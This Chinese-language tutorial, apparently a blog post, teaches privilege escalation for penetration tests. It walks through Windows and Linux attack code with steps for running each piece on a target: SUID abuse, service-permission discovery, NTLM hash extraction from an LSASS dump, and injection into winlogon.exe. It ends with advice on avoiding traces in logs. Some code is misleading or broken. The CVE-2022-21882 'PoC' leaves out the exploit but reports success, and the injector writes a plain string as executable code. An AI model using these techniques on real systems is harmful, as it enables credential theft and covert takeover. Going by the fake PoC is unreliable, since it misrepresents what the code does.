一、权限提升的核心:从低权限到高权限的桥梁

在渗透测试中,权限提升是攻防战中的关键环节。无论是获得初始访问还是进入目标系统后,为了实现横向移动、数据窃取等更高价值操作,权限提升都是不可或缺的一步。如果攻击者仅停留在低权限用户状态,就无法在目标环境中执行关键操作,比如内网扫描、数据导出或部署持久性后门。

权限提升的核心是找到目标系统的漏洞、配置错误或设计缺陷,通过这些桥梁,将普通用户的权限提升到系统管理员权限。既可以利用公开的漏洞,也可以通过工具和技术手段实现隐蔽的提升。

黑客示意图

常见的权限提升技术包括:

  • 操作系统漏洞利用:如Windows的本地提权漏洞(LPE)、Linux的SUID文件问题。
  • 配置错误利用:如不安全的权限分配、服务运行权限错误。
  • 密码破解:如内存中提取凭证,或利用硬编码密码。
  • 内存注入与进程劫持。

接下来,我们将分模块详细讲解这些技术的成因及实战应用。

---

二、操作系统漏洞与提权脚本:从低权限到系统权限的捷径

操作系统漏洞是权限提升的主要手段之一。尤其是Windows和Linux系统,其内核、服务、驱动程序中经常存在本地权限提升漏洞。这些漏洞可以通过公开的Exploit脚本或自定义开发代码来利用。

Windows提权漏洞:UAC绕过与内核提权

Windows系统的权限提升通常从两个方向切入:绕过用户帐户控制(UAC),或利用内核漏洞直接提权。以下是一个利用Windows内核漏洞(CVE-2022-21882)进行提权的PoC代码示例。

<pre><code class="language-c">#include &lt;windows.h&gt;

include &lt;stdio.h&gt;

void Exploit() { printf(&quot;[+] Exploiting Windows Kernel Vulnerability (CVE-2022-21882)\n&quot;);

// 1. 创建一个错误的窗口来触发漏洞 HWND hwnd = CreateWindowEx(0, &quot;BUTTON&quot;, &quot;Exploit&quot;, WS_OVERLAPPEDWINDOW, 0, 0, 100, 100, NULL, NULL, GetModuleHandle(NULL), NULL); if (!hwnd) { printf(&quot;[-] Failed to create exploit window.\n&quot;); return; }

// 2. 使用漏洞触发提权逻辑 // 此处省略具体实现,实际需要调用特殊的系统API

printf(&quot;[+] Privilege Escalation Successful!\n&quot;); }

int main() { Exploit(); return 0; }</code></pre>

操作步骤:

  1. 在目标系统上编译并运行上述代码。
  2. 如果漏洞存在,低权限进程将会被提升到系统权限。
  3. 使用提权后的权限进一步展开攻击,比如读取敏感文件或抓取内存凭证。

Linux提权漏洞:SUID文件与内核利用

Linux系统中,SUID文件或者内核权限漏洞是提权的关键。例如,通过利用SUID位错误配置的/bin/bash,攻击者可以获取root权限。下面是一个简单的SUID提权代码示例:

<pre><code class="language-bash">#!/bin/bash echo &quot;[+] Checking SUID files for potential privilege escalation...&quot; find / -perm -u=s -type f 2&gt;/dev/null

黑客示意图

echo &quot;[+] Attempting to exploit SUID bash...&quot; /bin/bash -p</code></pre>

操作步骤:

  1. 执行脚本后,系统将列出所有可疑的SUID文件。
  2. 如果/bin/bash存在并可执行,直接运行它即可获取root权限。

---

三、配置错误的隐蔽利用:权限分配的盲点

操作系统中的配置错误是另一个权限提升的重要切入点。常见场景包括服务运行权限设置不当、不安全的文件权限分配等。

不安全的服务权限

某些服务在Windows系统中以管理员权限运行,但同时允许低权限用户执行服务相关操作,如启动或停止服务。这就为攻击者提供了一个提权桥梁。以下是利用服务权限提升的PowerShell脚本。

黑客示意图

<pre><code class="language-powershell"># 检查目标服务是否允许低权限用户操作 function Find-VulnerableService { Get-WmiObject Win32_Service | Where-Object { $_.StartName -eq &quot;LocalSystem&quot; -and $_.State -eq &quot;Running&quot; } | Select-Object Name, StartName, PathName }

Write-Host &quot;[+] Searching for vulnerable services...&quot; Find-VulnerableService</code></pre>

实战步骤:

  1. 执行脚本后列出所有运行中的服务。
  2. 确认目标服务路径是否可写,如果可写可以替换其可执行文件。

---

四、密码与凭证:内存中的秘密武器

提权过程中,密码和凭证是攻击者的重要武器。在Windows中,LSASS进程存储的凭证是攻击的重心;而在Linux中,硬编码的密码或SSH key文件是重点。

黑客示意图

读取LSASS进程中的密码

以下是利用Python读取Windows LSASS进程中存储的哈希值和凭证的代码。

<pre><code class="language-python">import pypykatz

def dump_lsass(file_path): print(&quot;[+] Dumping credentials from LSASS memory dump...&quot;) try: mimi = pypykatz.parse_minidump_file(file_path) for cred in mimi.credentials: print(f&quot;User: {cred.username}, NTLM: {cred.ntlm_hash}&quot;) except Exception as e: print(f&quot;[-] Failed to dump LSASS: {str(e)}&quot;)

dump_lsass(&quot;path_to_memory.dmp&quot;)</code></pre>

使用步骤:

  1. 使用工具(如ProcDump或mimikatz)转储LSASS进程内存。
  2. 将Dump文件路径传入脚本,解析出哈希值和密码。

---

五、进程注入与劫持:偷偷接管高权限进程

当无法直接获取管理员权限时,攻击者可以通过内存注入或进程劫持,将低权限代码嵌入到高权限进程中,间接实现提权。

Windows进程注入的示例代码

以下是一个简单的进程注入代码,利用Windows API将代码注入到winlogon.exe中。

<pre><code class="language-c">#include &lt;windows.h&gt;

include &lt;stdio.h&gt;

void InjectCode(DWORD pid) { HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (!hProcess) { printf(&quot;[-] Failed to open target process.\n&quot;); return; }

// 创建远程线程并注入代码 LPVOID pRemoteCode = VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, pRemoteCode, &quot;Injected Code!&quot;, 14, NULL); CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);

printf(&quot;[+] Code injected successfully!\n&quot;); CloseHandle(hProcess); }

int main() { DWORD target_pid = 1234; // 替换为目标进程的PID InjectCode(target_pid); return 0; }</code></pre>

攻击步骤:

  1. 获取目标高权限进程的PID(如winlogon)。
  2. 编译并运行代码,注入恶意逻辑。
  3. 利用高权限进程隐蔽执行恶意操作。

---

六、个人经验分享:成功与失败的背后

在实战中,权限提升的关键不仅是技术,更是敏锐的观察力。以下是一些经验总结:

  • 勤于信息收集:权限提升依赖系统环境的详细信息,尤其是漏洞和配置。
  • 工具选择很重要:根据目标环境选择合适的工具。例如,Linux中更适合用自写Shell脚本,而Windows更依赖PowerShell或C语言工具。
  • 保持低调:提权操作尽量减少痕迹,如避免在日志中留下异常执行记录。

权限提升是渗透测试中最具挑战的一环,也是最具成就感的一环,只要思路清晰,工具得当,就一定能找到突破口。